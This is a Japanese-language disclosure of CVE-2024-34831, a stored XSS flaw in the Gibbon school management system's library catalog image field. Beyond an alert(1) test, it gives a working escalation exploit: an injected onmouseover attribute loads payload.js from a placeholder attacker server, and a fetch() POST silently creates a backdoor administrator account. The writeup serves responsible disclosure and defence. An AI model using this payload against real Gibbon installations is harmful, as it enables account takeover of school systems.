
CVE-2024-34831の開示
Gibbon は優れたオープンソースの本格的な学校管理システムです。かなり古いコードベースを刷新するために多大な努力が払われています。
Author: Christian Bajada
新しい書籍を編集/送信する際の imageLink パラメータ (/modules/Library/library_manage_catalog_editProcess.php) は XSS に対して脆弱です。Manage Catalog 権限を持つユーザーはこの脆弱性を悪用し、より高いレベルの権限を持つユーザーに対して任意のスクリプトを実行させ、特権を昇格させることができます。
[http://x](http://x/)" onerror='alert(1)' に変更すると、ライブラリページの読み込み時にアラートコードが実行されます。

このセクションでは、単純な alert(1) ポップアップよりも危険な方法でこの脆弱性を利用する方法を説明します。ログイン中の管理者をだまして、攻撃者がアクセスできる別の管理者をシームレスに作成させます。
imageLink フィールドは小さすぎて、Gibbon プラットフォーム上で有意義な機能を呼び出すことはできません。できることは、JavaScript を別の場所にホストし、ブラウザにダウンロードさせて実行させることです。CSP がないため、これが可能になります。
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
管理者がライブラリカタログに移動するのを待つか、IM、メール、その他のチャネルで説得する必要があります。
本の画像にマウスをホバーする(onmouseover)と、ペイロードがその場所(この場合は <yourserver.com>)からフェッチされて実行されます。これにより管理者ユーザーが作成され、悪意のあるユーザーがアクセスできるようになります。'onerror' リスナーを使用すると、画像にホバーする代わりにペイロードを即座に実行することもできます。
作成されたユーザーはメニューの ADMIN > User Admin で確認できます。

責任ある開示ガイドライン https://github.com/GibbonEdu/core/security に従って公開されました。